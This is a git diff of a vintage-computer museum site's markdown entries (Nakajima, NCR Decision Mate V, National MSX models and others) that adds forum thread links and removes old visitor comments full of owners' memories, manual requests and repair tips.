can call this a ''computer'', there wasn''t much this thing could do. related: - /museum/rca-studio-ii - /museum/soundic-victory-mpt-02 diff --git a/content/museum/myarc-geneve-9640.md b/content/museum/myarc-geneve-9640.md index 3a9120e4..c211ed63 100644 --- a/content/museum/myarc-geneve-9640.md +++ b/content/museum/myarc-geneve-9640.md @@ -58,6 +58,7 @@ params: - emulators - links - docs + forum_thread: 1176 photos: - title: THE MYARC GENEVE “COMPUTER-ON-A-CARD”. subtitle: '' diff --git a/content/museum/nakajima-es-210.md b/content/museum/nakajima-es-210.md index aa67d0ba..a545aa85 100644 --- a/content/museum/nakajima-es-210.md +++ b/content/museum/nakajima-es-210.md @@ -60,6 +60,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1113 photos: - title: LARGER VIEW subtitle: '' @@ -76,13 +77,6 @@ params: Thanks to **Roman von Wartburg** image: /media/museum/photos/nakajima_es210_bestar_s1.jpg - comments: - - author: German Nakajima Owner - date: Saturday 21st August 2010 - text: As I have a Nakajima ES-210 (German version distributed by Horten as "Sys Line Pad 1000") this Machine has 128 KB RAM, a NEC V20 (8088) CPU. It looks quite similar to the NC-100 wich features a Z80 only. If you compare the Mainboards you will notice the differences even if appearance is quite the same. - - author: Kevin Rush (Earth) - date: Monday 26th March 2007 - text: When i first used this computer i had difficulty because i thought it would have use in the medical field oc_id: 1143 source: url: https://web.archive.org/web/20230331041702/http://www.old-computers.com/museum/computer.asp?c=1143 diff --git a/content/museum/nano-sks-2500.md b/content/museum/nano-sks-2500.md index 1bc3de14..aeb6da1c 100644 --- a/content/museum/nano-sks-2500.md +++ b/content/museum/nano-sks-2500.md @@ -60,48 +60,7 @@ params: value: Power supply built-in - label: PRICE value: Unknown - comments: - - author: rfka01 (Germany) - date: Wednesday 26th July 2017 - text: |- - @Joop Marquenie:\ - If you still have your machine and want to get rid of it, I''m interested.\ - Robert - - author: Marcus (Germany) - date: Saturday 13rd May 2017 - text: |- - Hi, I also have this little beautiful Box here in my collection - unfortunately without any Disks at all - so it''s a useless brick :-( - - Could anyone provide me with some Systemdisks/Copies? Mail me at: marcus AT marnoweb DOT de - - I couldn''t get any more Infos or Files for this little beauty - nowhere around the whole Web. - - Regards, Marcus - - author: Joop Marquenie (Netherlands) - date: Tuesday 26th April 2016 - text: |- - We still have a SKS NANO in original state including all original documentaton and I even believe electronic shemes. We actually do not know what to do with the machine. When we locked it away, it was still working OK. - - Can you advise us what to do with the machine? - - Thanks, Joop - - author: John Benfield - date: Wednesday 10th November 2010 - text: |- - Sorry this response took so long, I was just browsing around and saw the question today - - There''s no easy way to test the screen. If the floppy drive light is coming on, then it''s a pretty safe bet that the power supply and other electronics are OK. If that''s the case, then you need to check the anode cap on the monitor for high voltage. THIS CAN BE HIGHLY DANGEROUS AND SHOULDN''T BE DONE BY THE UNTRAINED OR WITHOUT THE PROPER TOOLS. - - Chances are that you have no high voltage to the monitor. If you''re familiar with and comfortable working around high voltage, turn everything off, discharge the anode cap (just in case) and remove the video driver card (you can''t miss the card, it''s mounted on the monitor cage and not in the rack with the other electronics. - - There''s a transistor next to the flyback coil mounted on a large heatsink. There are different versions of the board, so I can''t provide a component number or exact position. You may have to follow the traces from the flyback to ensure that you''re getting the right transistor. It should be fairly obvious which one I''m talking about. If you just put your nose to the board (disconnected board), you can probably smell for it. Just replace that guy and you''ll probably be back in business. (buy a few of them. It''s a common failure point) If you''re refurbing the machine, I''d recommend checking all of the electrolytic caps as well. (check for swelling or leakage. You can be proactive and replace them, but it''s likely not necessary. SKS used decent parts). - - author: I am (Germany) - date: Wednesday 2nd February 2005 - text: |- - Hello, - - ive got a problem with this machine. the powersuply works, but the screen stays black.\ - how can i test the screen? + forum_thread: 221 oc_id: 211 source: url: https://web.archive.org/web/20230608142445/http://www.old-computers.com/museum/computer.asp?c=211 diff --git a/content/museum/national-cf-2000.md b/content/museum/national-cf-2000.md index 82d3a5ed..08e34e7d 100644 --- a/content/museum/national-cf-2000.md +++ b/content/museum/national-cf-2000.md @@ -76,6 +76,7 @@ params: - hardware - emulators - links + forum_thread: 428 photos: - title: CF 2000 subtitle: '' @@ -237,13 +238,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: eric boutin (Canada) - date: Tuesday 17th August 2021 - text: it is the first msx made by this company but maybe not for all msx company makers - - author: John - date: Wednesday 8th February 2012 - text: Someone told me that this machine is the first computer of MSX. Is that right? related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/national-cf-2700.md b/content/museum/national-cf-2700.md index 466f88bd..7628e6a6 100644 --- a/content/museum/national-cf-2700.md +++ b/content/museum/national-cf-2700.md @@ -78,6 +78,7 @@ params: - hardware - emulators - links + forum_thread: 575 photos: - title: CF-2700 subtitle: '' @@ -223,21 +224,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Makunga - date: Thursday 30th May 2013 - text: |- - Hi all. - - Believe it or not, I became a fan of programming and computers after using one of those around 1985. They where hooked to black $ white CRT TV sets and the programs in MSX Basic recorded in music cassets. - - That was in Cuba and were the first computers introduced at high schools along with 8086/8088 Ltels with 256 KB RAM (for the teachers). Damn, I''m so old... - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/national-cf-3000.md b/content/museum/national-cf-3000.md index b2562f12..463c34e7 100644 --- a/content/museum/national-cf-3000.md +++ b/content/museum/national-cf-3000.md @@ -77,6 +77,7 @@ params: - software - emulators - links + forum_thread: 576 photos: - title: CF-3000 subtitle: '' @@ -235,10 +236,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Rod (canada) - date: Thursday 18th January 2018 - text: Looks like a VCR with a keyboard attached to it. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/national-fs-4000.md b/content/museum/national-fs-4000.md index 0b9f254e..5e501ad4 100644 --- a/content/museum/national-fs-4000.md +++ b/content/museum/national-fs-4000.md @@ -79,6 +79,7 @@ params: - software - emulators - links + forum_thread: 577 photos: - title: FS-4000 subtitle: '' @@ -245,13 +246,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/national-fs-4500.md b/content/museum/national-fs-4500.md index 64220bf5..aeacea17 100644 --- a/content/museum/national-fs-4500.md +++ b/content/museum/national-fs-4500.md @@ -66,6 +66,7 @@ params: - software - emulators - links + forum_thread: 578 photos: - title: WHITE MODEL subtitle: '' @@ -236,19 +237,6 @@ params: - title: Web Wiz CAPTCHA url: http://www.webwizcaptcha.com text: The MSX home computer system - comments: - - author: Roger Jowett (Ulster Londonderry) - date: Saturday 6th April 2013 - text: |- - http://www.youtube.com/watch?v$zsjTpFR0oYQ - - please help we have zx spectrum 48k and one 128k program running at 6mhz using external ram and snapper discs from velesoft site - - author: Paulo Vaz (Brazil) - date: Sunday 2nd January 2005 - text: |- - I´m looking for the original or PDF files of National 4500 manuals. - - Any help will be apreciated. related: - /museum/canon-v-10 - /museum/canon-v-20 diff --git a/content/museum/national-radio-institute-832.md b/content/museum/national-radio-institute-832.md index be083c5b..edca4756 100644 --- a/content/museum/national-radio-institute-832.md +++ b/content/museum/national-radio-institute-832.md @@ -46,56 +46,7 @@ params: value: Built-in power supply unit - label: PRICE value: $503 - comments: - - author: Mario Gasparovic - date: Wednesday 12th November 2014 - text: |- - I finished the correspondence course and put together the 832 long time ago. It worked O.K. when the clock was set on less than ONE Hertz speed! However, when the clock was set at the second available speed of about of 300 kHz the computer didn''t operate properly. Later, I got into ham radio and left the computer to slowly rust in the basement.\ - 73, VE3HVY\ - . - - author: Chris - date: Friday 8th June 2012 - text: 'Re the manual link below: the comment receipt system seems to have turned spaces in the URL into dollar-20 instead of what''''s needed (just space, or percent-20).' - - author: Chris - date: Friday 8th June 2012 - text: |- - If people still want the manual, there seems to be one here: - - http://www.hartetechnologies.com/manuals/Digital$20Electronics/Model$20832$20computer$20RefMan10KX.pdf - - author: phillyskyline (USA) - date: Friday 27th January 2012 - text: I have obained an NRI 832 and need the costruction manual. Can someone please share that with me. Thank you - - author: gonewithglory (USA) - date: Tuesday 13rd December 2011 - text: I have one of these and badly need the manuals. Can someone please help make me a copy or point me to online sites that might have them. Thank you - - author: Guy Smith (Ft. Myers, Florida) - date: Monday 24th October 2011 - text: I have dragged my NRI 832 back out to perform a restoration. I do have a full set of manuals and schematics. I will attempt to get at least the assembly manual and schematics into PDF. What a great learning tool it was. - - author: Paul (Canada) - date: Monday 3rd January 2011 - text: |- - I too took the NRI course building and using this computer. I learned a lot, and being I was a Flight Simulator Techniican and digital systems were coming into vogue in the early 70''s, I managed to design and build 8 printed circuit boards for the Tutor Simulator. I later became the Computer Resourse manager for a company in Ottawa in the early 80''s ..all through what I had learned with this course..and more of course.\ - Good memories there! - - author: Hap (USA) - date: Thursday 25th September 2008 - text: Back in the early 70''''s I too had one of these, took the course through NRI - - author: armando (bronx,n.y) - date: Wednesday 30th January 2008 - text: I am looking for tech manual or information so with some I can bring back a ghost from my past - - author: Hap (Frederick, Md, USA) - date: Monday 21st August 2006 - text: |- - I too had one of those NRI 832 puters, I also know who has it now, or should have it with all the info, this was back in 1975 when I started to take some course there. Computer Lang, learning on the old 6800/8800 chip program. They loved the little puter, you could see how things worked. Ya do know it had a Step speed mode, and a full adder circuit\ - Anne Arundel Community College\ - 101 College Parkway\ - Arnold Maryland 21012 - - author: Magnus Brobeck (Sweden) - date: Saturday 30th April 2005 - text: |- - I found one of these lying around and salvaged it. Seems to need some tender love and care before it performs properly again. Anyone sitting on some manuals or assembly instructions? - - Regards,\ - Magnus + forum_thread: 864 oc_id: 884 source: url: https://web.archive.org/web/20230205052956/http://www.old-computers.com/museum/computer.asp?c=884 diff --git a/content/museum/national-semiconductor-introkit.md b/content/museum/national-semiconductor-introkit.md index 67bbe616..d4519d61 100644 --- a/content/museum/national-semiconductor-introkit.md +++ b/content/museum/national-semiconductor-introkit.md @@ -54,6 +54,7 @@ params: value: Unknown tabs: - photos + forum_thread: 1117 photos: - title: INTROKIT subtitle: '' @@ -88,37 +89,6 @@ params: subtitle: '' text: Thanks to Claude Paillard for this picture image: /media/museum/photos/introkit_teletype_detail.jpg - comments: - - author: Achim - date: Sunday 12th September 2021 - text: Hi, I am a vintage computer collector. Please contact me (Contact via my website) if you have an IntroKit to offer. - - author: Dave Roberts (UK) - date: Friday 4th March 2016 - text: |- - I used to have a Sinclair MK14 - and I have acquired all the bits to make another SC/MP micro of some description for ''old times sake''. I would certainly be interested in anything SC/MP related for the Introkit (especially the keyboard interface and monitor ROM listings). - - The question is - how to get it posted? - - author: Wim-Jan van Rooijen (Germany) - date: Wednesday 4th February 2015 - text: |- - hi, - - I have a big stack of documents, incl. code and Assembler for this Computer.\ - Somedocs are in Dutch, but the stuff from NS is in English.\ - Also I still have the complete hardware of a µC based on SC/MP II, in a medium state, sertainly partly working, but the powersupply is missing. Little damaged during Transportation.\ - let me know what you Need. - - author: Darron Fick (USA) - date: Friday 11th June 2010 - text: The SC/MP was the first microprocessor I laid my hands on, sometime around 1976. The National guys were at one of the West Coast Computer Faires in San Francisco, and they were GIVING away the MCU - you then paid a small amount for the eval kit. I turned it into a simple music sequencer, and learned a lot in the process! I''ve always felt that National invented the eval kit culture with this product. - - author: Roderick Wall - date: Sunday 7th September 2008 - text: Hi, I have an old SC/MP (Simple Cost-effective MicroProcessor) National Semiconductor Corp computer that I purchased in 1977. I have all the manuals etc that came with the kit. As you know it interfaced to a ASR33 Teletypewriter. I''ve just got it out from under the house where it had been for many years. I even have a copy of my 1st program that I did it was a random morse code practice progran that I wrote to fit in the 256 bytes of RAM. - - author: Frank Boehm (Germany) - date: Sunday 11th February 2007 - text: Just received a "Telekit" - made by National Semiconductor, datecode 7618. This is pretty much the same electronics, but built into one of their larger pocket calculator cases (looks like the Mathematician PR 4640 with different key mappings). It has an external cable probably to attach it to a tty terminal. - - author: David Boccabella (Australia) - date: Monday 4th September 2006 - text: When I was just 17 I had a passion for computers and was desperate to learn. In Adelaide, South Australia the Kilkenny technical college had just started a Microprocessing Programming course. I was fortunate to get onto one of the first courses and this plus the inhouse designed computer was what we used. I still have the SC/MP ROM chip but sadly moving has lost the actual CPU. The very first microprocessor that I ever saw and used. oc_id: 1147 source: url: https://web.archive.org/web/20230515211644/http://www.old-computers.com/museum/computer.asp?c=1147 diff --git a/content/museum/nbi-hantu.md b/content/museum/nbi-hantu.md index e00e856e..1ea7698f 100644 --- a/content/museum/nbi-hantu.md +++ b/content/museum/nbi-hantu.md @@ -38,6 +38,7 @@ params: value: 2 x 8'' floppies, (250k each) - label: POWER SUPPLY value: PSU built-in + forum_thread: 517 oc_id: 523 source: url: https://web.archive.org/web/20230604041644/http://www.old-computers.com/museum/computer.asp?c=523 diff --git a/content/museum/ncr-decision-mate-v.md b/content/museum/ncr-decision-mate-v.md index 4f6e224e..adbb77ed 100644 --- a/content/museum/ncr-decision-mate-v.md +++ b/content/museum/ncr-decision-mate-v.md @@ -62,6 +62,7 @@ params: - photos - hardware - links + forum_thread: 305 photos: - title: EXPANSION SLOTS subtitle: '' @@ -82,260 +83,6 @@ params: - title: Manuals and misc information in German language url: http://oldcomputers.dyndns.org/public/pub/rechner/ncr/dmv/info.html text: '' - comments: - - author: David Gibson (USA) - date: Thursday 4th March 2021 - text: In the early 1980’s, I was an administrator at SOITA at Miami University in Ohio. SOITA was a non-profit, technology service agency to 200 school districts in Ohio, Indiana and Kentucky. We started offering computer hardware and software discount purchasing to our member schools. We sold an average of about 3 million dollars worth of computer hardware (mostly Apple) annually in the 1980s. NCR, headquartered in Dayton, wanted to explore the school computer market. They contacted us and donated 10 Decision Mate 5 units so we could try them out. They also donated several machines to schools around Dayton. I remember doing a few activities on the machine (I took one home) but found it difficult to operate for someone that had no computer background. In the meantime, we purchased several Apple IIe’s and were able to utilize inexpensive but high quality educational software from the Minnesota Educational Computing Consortium (MECC) and AppleWorks. All of this software was on 5.25 - floppy disks. AppleWorks was an easy to learn utility program that gave us word processing, database and spread sheet capabilities. So the easy to use Apple IIe became the machine of choice for our schools driven by high quality and easy to use software. MECC was also a non-profit like SOITA and gave SOITA generous duplication rights to their educational software under a licensing agreement. SOITA duplicated $ distributed tens of thousands of MECC 5.25 disks to our member schools. MECC developed new educational programs every year that kept their products (like Oregon Trail and Number Munchers) very popular. Unfortunately for NCR, they were late to the school computer marketplace. There was no easy way to use high quality educational software for their DM 5. Eventually for schools, NCR ran into the classic situation for their DM 5 “they couldn’t give them away.â€� IBM, Commodore, Radio Shack and Atari had small footprints in the educational computing marketplace at this time. Their - platforms were mostly easy to use and some software did exist (some through MECC). Eventually, after a decade, IBM $ Microsoft became strong rivals to Apple (and the Macintosh Computer) in the school market. MECC dissolved as a state supported non-profit and became a private company. NCR ceased to show interest in the educational marketplace after this failed experience. Their manufacturing and headquarters in Dayton eventually shut down with the HQ moving to Atlanta. SOITA eventually was no longer able to sell discounted hardware or software through group purchasing (Apple and MECC eliminated their volume purchasing structures) and concentrated their activities on teacher training. I was disappointed after reviewing Steve Jobs’s autobiography that he did not give much (if any) credit to the educational community for the early success of Apple. Once children started learning computer skills on an Apple II or Mac computer at school, they took that knowledge home and drove home purchases - to Apple. I am guessing our early computer experiences in Ohio were similar to others throughout the country. So, in my opinion, the education marketplace was primarily responsible for Apple’s success. The software drove the hardware purchasing. This story could have been rewritten for any computer platform (including NCR) had high quality, easy to use software been available. - - author: Rich Medlar (Cleveland, OH, USA) - date: Friday 26th July 2019 - text: My father Cleveland District Administration Manager of NCR and purchased one in 1982. I have it in my basement. I turn it on sometimes to allow "Children" under 30 to see how spoiled they are. Rare anybody has known how to activate anything. - - author: Fernando Baldellou (Madrid/España) - date: Tuesday 26th September 2017 - text: |- - Yo trabajé de analista-programador en NCR durante varios años (1981-1986) y poseo desde entonces un NCR-DM-V que costaba 1.500.000 Pesetas (RAM 256MB, HD 10MB y disquetera 3 1/2). En España ese era su precio, por otro lado, más o menos lo que costaba un PC-IBM pero el NCR-DM-V era un producto de mejor calidad y mejores prestaciones.\ - Lo tengo bien guardado, con sus disquetes de RM-COBOL, CP/M y MS-DOS y funcionando todo correctamente. - - I worked as an analyst-programmer at NCR for several years (1981-1986) and since then I had a NCR-DM-V costing 1,500,000 pesetas (256MB RAM, 10MB HD and 3 1/2 floppy disk). In Spain that was its price, on the other hand, more or less what cost an IBM PC but the NCR-DM-V was a product of better quality and better performance.\ - I have it well saved, with its RM-COBOL, CP / M and MS-DOS floppy disks and running everything correctly. - - author: Neil Jarvis (United States) - date: Monday 21st November 2016 - text: I too was a proud owner of a DM-V$ I was working for NCR in Dayton when it was released but purchased it through the NCR Credit Union after transferring back to the field in Boise, Idaho in 1981. Great machine, but a little before its time. It had a unique boot system which made in incompatible with the IBM machines. It had fantastic graphics (from NEC) with 8 colors instead of the 4 colors that IBM had. I relocated the BIOS code in mine and tweaked it to use the 8 color display. I was able to run any PC app that used standard BIOS calls and did not rely on direct memory addressing. I demoed the machine at several Food $ Drug trade shows in Boise, Seattle, and San Francisco and could have sold several except it wasn''t supported by NCR. It really blew away the IBM in direct competition running the same software - - author: Lyall D (New Zealand) - date: Friday 12th August 2016 - text: |- - I bought a second hand DM-V in about 1985, it was my first "Real" computer. It had the 10MB hard disk with two 5MB partitions, It would boot into CPM on the first partition but, if you used a DOS boot disk, you could access the second partition. I chose this computer becauser included in the bundle was a COBOL compiler and I wanted to teach myself COBOL.\ - I only had it for a year, trading it in for a ''286 clone. - - author: Paul C Daily (United States) - date: Saturday 13rd June 2015 - text: I was an NCR employee for 33 years and served under Don Coleman in Millsboro, De, having transferred from NCR WHQ, Dayton. After Deleware, I transferred to Liberty, SC, and was one of 8 that transferred U.S. production of the DM-V fron Augsburg to Liberty, (E$M-Clemson), SC. Coleman was one of the best NCR people I ever worked under. - - author: Martin W (UK) - date: Saturday 7th February 2015 - text: |- - I too used to work for NCR (marylebone road,uk) back in the 1970s and I remember using one of these machines as well as NCR315s and Centurys. The DMV if I remember correctly ran a word-processing package called from Wordstar using a sort of HTML-like command language for formatting. - - Happy days! What a pity that NCR never had the success it deserved in the mainframe and mini-computer market. - - author: rfka01 (Germany) - date: Monday 7th July 2014 - text: |- - Hi everybody, the DMV is one of the drivers within the MESS Emulation framework. The DMV driver now boots CP/M-80, but a lot of other aspects are still not emulated. - - What with a lot of the old machines failing, I consider emulation an excellent way of preservation. - - You can find the relevant thread on the MESS Forum here: - - http://forums.bannister.org/ubbthreads.php?ubb$showflat$Number$75773$page$20 - - It would be great if somebody with knowledge of the DMV and C++ programming could chime in and help to advance the emulation, e.g. move the DMV driver to use slots, get the graphics mode of the display controller going, ... - - I''m also looking for a scan of the "System Technical Manual MS-DOS". - - Robert - - author: Stefano (Italy) - date: Monday 23rd June 2014 - text: 'I could experiment a bit on this computer a lot of time ago, the one I could test had both the z80 and the 8086 CPUs but only 64Kb of memory which limited a lot the MSDOS possibilities. It required its special MSDOS boot disk: probably the primary CPU was the Z80 having to do some kind of trick. This disk coudn''''t boot on standard PC.' - - author: Stefano (Italy) - date: Monday 23rd June 2014 - text: 'I could experiment a bit on this computer a lot of time ago, the one I could test had both the z80 and the 8086 CPUs but only 64Kb of memory which limited a lot the MSDOS possibilities. It required its special MSDOS boot disk: probably the primary CPU was the Z80 having to do some kind of trick. This disk coudn''''t boot on standard PC.' - - author: Justin O (Dallas / Texas / USA) - date: Monday 21st April 2014 - text: I just got a hold of one of these if anyone is interested. Email me. thehinac at gmail dot com - - author: Tom (Belgium) - date: Tuesday 8th April 2014 - text: |- - I still have one for sale. Including winchester + RS232 slot + communication slot + extra memory slot\ - Perfect condition, still working - - axaan@hotmail.com - - author: Mockturtle - date: Friday 8th February 2013 - text: |- - We had one, my dad worked at NCR then and could by one "cheap", I think around 2k DM at the time... \*g\*\ - Awesome computer, somehow. ^^ - - author: Luca (Italy) - date: Friday 10th August 2012 - text: I had one of that when i was a child. I learned gwdos and played a lot with ladder.exe !!! Too beautiful! - - author: EdwardNEO (Colombia) - date: Wednesday 6th June 2012 - text: Si ... cuando vi por primera vez uno de estos, me pareció ver uno de los grandes logros en la evolución del hombre .... era verdaderamente sorprendente.... ahora lo recuerdo definitivamente hermoso... - - author: Glen Carruthers (Canada) - date: Tuesday 17th April 2012 - text: I remember the DM5 and DM6 units. They had the best resolution display at the time. I remember the demo video of the Nasa Space Vehicle launch. I also traveled to shows with this unit connected to a "scent" machine that would atomize different scents into the air when the customer $ed a particular scent from the DM5 program. - - author: Jacques van Zyl (South Africa) - date: Monday 19th March 2012 - text: |- - This was my first computer. My father worked for NCR based in Cape Town. I purchased this machine from one of his co-workers. - - My DMv had two floppy drives and a 512kb memory upgrade. If I remember correctly, I hade to upgrade with a 16bit card to be able to run DOS. All I really did on the machine was learn and play around with GW Basic. It was great. - - author: Matias Rajkay (Augsburg, Germany) - date: Sunday 19th February 2012 - text: |- - I worked at the NCR E$M Facility in Augsburg in the tech documentation dept., later on in tech support and Product Management. - - The DM V came as a base model with a Z80, optional additional (!) processors available were Intel 8086, 80186 and a Motorola 68008. A wide variety of operating systems (CP/M, MP/M, CP/M 68k, Xenix, USCD p-Code) were supported. The unique thing about the graphics was the standard NEC 7220 graphic processor: Unlike most other designs (including the IBM PC), the DM V used a real vector graphic processor. It could display 16 simultaneous colors on its 640x400 screen. The expansion modules were stuck in the back of the system (no tools required), the connection was through a proprietary bus system (very much more advanced than all other systems, IBM''s later announced "micro channel" architecture had a few similarities.\ - Lotus 1-2-3 could be run with the help of a special driver diskette, providing the interface to the NEC 7220. Unfortunately political reasons prevented the commercial success, as IBM and Lotus prohibited trunning 1-2-3 on anything but an original IBM. - - author: Bill Bell (Ohio, US) - date: Wednesday 26th October 2011 - text: BTW, if any of you ex-NCR folks recall my dad please let me know. I realize it was a BIG company, but I remember him having to go all over the world to do work for them. Especially when he became part of the Teradata crew. - - author: Bill Bell (Ohio, US) - date: Wednesday 26th October 2011 - text: |- - My father (of the same name) worked for NCR for 40+ years. Started in NJ, then came to Ohio. My pops brought home about 12 of these machines at one time, filling the garage. We would take the best of all of them and put together a few good systems. I remember using one all the time to log onto my favorite BBS''s. With having all those systems, I had the "beast" w/all the fixens. - - The office closet was FULL of DM-V software suich as Peachtree accounting, etc. - - I miss those tinkering days w/my pops. - - author: Bob Tay (UK) - date: Tuesday 19th July 2011 - text: |- - This brings back memories! In about 1982 I worked for NCR London, for the product marketing group responsible for recruiting dealers to sell the Decision Mate V.\ - The original spec included two processors, a Z80 running CP-M and a 8086 (I think) running MS-DOS. You just $ed the appropriate 8" floppy disk to boot from. All the screens were colour with a resolution of 800x600 (I think) - way better than anything else available.\ - The design was "all-in-one" looking much like a large vdu, of the kind that featured in films of that era to show how up to date their computer scenes were.\ - Around the back was a long, open slot which accessed the expansion ports (think of a row of PCI connectors). Every expansion module had to use a special metal case that provided uniformity. Some modules contained extra memory etc, some just provided a connector for say a serial printer cable. It was too easy to steal any expansion units and some commercial customers fitted a security bar across the back.\ - The keyboard was a very nice unit rather in the style of an Apple one today. No mouse at that time.\ - The first units available were in black plastic, but when the dealers saw the smart new beige plastic they went mad and made us replace all their black plastic with beige!\ - At that time the IBM PC was in it''s infancy and there was no uniformity about how a PC should look, I think the NCR DM V was ahead of the competition, the bonus points being the excellent colour screen and the keyboard, primitive games looked very good. However as we now know things advanced very quickly, especially memory hungry software, and it was inconvenient and expensive to upgrade a standard DM V. The killer app for PC''s was the arrival of Lotus 123, but only available on PC-DOS. Eventually I saw a demonstration of some kind of emulation that allowed MS-DOS to run Lotus 123 but by then it was too late. - - author: Jørn-Morten (Norway) - date: Thursday 30th June 2011 - text: Ah - Ladder! :) Remember playing it for more hours than I have ever played any game since then. I think I got as far as to a level with a seemingly impossible gap to jump past - anyone know if this was the sadistic way of the developers to end the game, rather than display a proper ending? - - author: tom (belgium) - date: Saturday 1st January 2011 - text: |- - I have a DM V (256k) + winchester disk (2x5mb) + extension slots, and even the original cardboard box in which it was delivered in 1983.\ - (extension slot-printer $ communication) - - want to trade it for Ipad Apple 3G/64gb\ - still working !\ - \+ software microsoft basic convertor - - i''m from belgium\ - axaan@hotmail.com - - author: Paco Landaveri (Lima, Peru) - date: Thursday 30th September 2010 - text: I worked in NCR Peru and have 3 DM-V monochrome with dual diskette, keyboard a couple of expansion memories, one mouse (cable needs replacement) and a copy of the technical manual plus some software. I used to work with these units for several years, some of the units I used even had a CD player (pioneer 1000) and up to 3 external winchester disks (daisy chained) - - author: Mark Chafe - date: Saturday 24th April 2010 - text: |- - My dad work as a tech at NCR in Canada. They had one at the office connected to an ISDN line for their parts database up until the late 1990s. Their model was slightly different however. It was monocrhome (green/black) but both the keyboard and the cabinet were darker shade of gray around the monitor and floppy drives. I actually liked the feel of the keyboard. Used to like typing on it when i was younger. When they closed up office here, we took the machine home, but later through it out. I do remember some kind of external memory port that would plug in the back of it like an game cardridge of sorts. - - Also, anyone seen any pictures of the NCR 710 modular pc. It was a 286 and was in a few various configurations. It could either be staked in 3 small pieces, or connected together as one long slender unit. I always cursed on it growing up, cause it wasnt as upgradable as others my friends had, but never seen a machine like it since. ohh if only i had it back hehe. - - we then had some 3421 386 machines. now they were awesome. - - author: Don Coleman (USA) - date: Thursday 17th December 2009 - text: I have a DMV with software and documentation. It was given to me by the division staff. My e-mail address is decoleman@aol.com - - author: Webmaster (France) - date: Friday 13rd March 2009 - text: Sounds very interesting, but how can we contact you ? Can you contact me (contact us link at bottom of this page, choose Olivier). Thanks - - author: Donald Coleman (usa) - date: Thursday 12th March 2009 - text: |- - I was a Division President when I assigned the developement of (later named) the Decision Mate product development and manufacturing to the Augsberg, Germany facility within NCR. - - This development first turned out a CPM based machine and then a DOS version. The DOS version was callled the Decision Mate V or DM-V. - - Walter Koenig was the Director of R $ D and Hans Keilworth was the General Manager of the facility. Both still residents of Augsberg. - - Contact me for additional information - - author: catherine (United Kingdom) - date: Monday 21st May 2007 - text: |- - hello im trying to find out two games i used to play as a kid. i used to, still do, own an Ambra Sprinta computer, and it had Windows 3.1 on it. and i had two, well more than two games on it but these two are what im hunting for in particual. one game i remember as being called "Eric" where you have a little man going around different levels, i think you collect other items but the main thing i remember is you have to collect and item called "the heart" to go onto the next level. they didnt pan when your character moves about, and that your view of the level is like looking down, not looking at the characters side. black background with red outline walls i think. and i also rememebr one of the later levels being called "Pandora's Box" and to get into that part you have to hit "insert" or "home" one of those buttons to go diagonally. - - the other game i rememebr being called "INMAN" you control a little stick man and collect bits of ladder and build the ladder to collect items, not sure what the items were. the levels were the same as so called "eric" non panning/sidescrolling level. its a fixed space, e.g 5x5 sort of space i think. thats not its space but just an example. i remember the level outline being blue and the ladders being yellow. - - sorry about the lengthy description, if anyone can help in anyway i will be grateful. - - (concerning the Eric game i know for a fact it is not "Eric the Unready". - - author: Chris (New Jersey) - date: Wednesday 1st November 2006 - text: Maybe someone can help me. I saw an odd looking "pc" in a thrift store in Long Island years ago. It looked alot like the DM/PC4 but different (as I recall). It had an "a>" prompt, which led me to believe it was 8088 based. But it looked different from the othe 2. I met a lady recently who used to work for NCR and she said that an "addendum" to the DM was made (about 2500) called the Data Mate or something. Can anyone confirm or deny? I'm thinking that was what I saw in the thrift store. - - author: Rainer Fredrich (Germany) - date: Friday 1st September 2006 - text: This Yahoo group is also good starting point for people who are looking for information about the NCR Decision Mate V. - - author: Rebecca (Wichita, Kansas; USA) - date: Tuesday 8th August 2006 - text: |- - My father worked for NCR for many, many years and somehow or another, we ended up with a DMV. It was the first computer I remember using and I spent hours and hours playing ladder (sort of a stone aged donkey kong but with letters for the board and characters).To my knowledge, it had a word processor, ladders, and I think it also had a few MIDI's.\ - Then when we got our first IBM clone, I got to have the DMV in my room. At the time, I was the only kid I knew who had a computer in their room and I spent many more hours writing tons of very long, very bad stories. I've sent an email to my dad to see what ever happened to the DMV or the Commodor 64 we had. I know I ended up throwing away all the floppies when some of them melted in storage, which would have included the boot disks for the DMV. Don't ask me what the DMV had on it - before my time of interest -- I was only 7 or 8. Boy was it a clunky thing though. I think dad nearly dropped it once carrying it down the stairs. LOL - - author: John Dowd (New Jersey) - date: Wednesday 29th March 2006 - text: Correction to my previous message. The winchester disk was a 10 MB unit. I had it partitioned into a 5MB cp/m partition and a 5 MB DOS partition. I later added the second 10 MB drive. - - author: John Dowd (New Jersey) - date: Wednesday 29th March 2006 - text: |- - I worked for NCR for 37 years. I bought a DMV with the external 5 MB Winchester and later added the second Winchester to it. I used the DMV until about 2000. I ran a payroll program that I had written back in 1977 for my SOL-20. The DMV still works, but when my last dot-matrix printer quit I decided to stop using the DMV rather than spend $300 for a new one. All the new ink-jet and laser printers require Windows and won't run on DOS or CP/M based machines. I have the full set of manuals for this machine. I have Turbo Pascal for it. I also have the hardware floating point chip in it.\ - Incidentally, without looking at the documentation, I don't think it used the Z-80 processor. I think it was the 8085. Believe it or not I think I paid over $3000 for this thing at employee discount price. - - author: Franck (France) - date: Monday 19th September 2005 - text: |- - Hello,\ - I received a NCR Decision Mate V. I would use it but if I swith it on, nothing happends.\ - I think he is working because the red light is working, but I can not see anything on the screen.\ - Has someone as solution 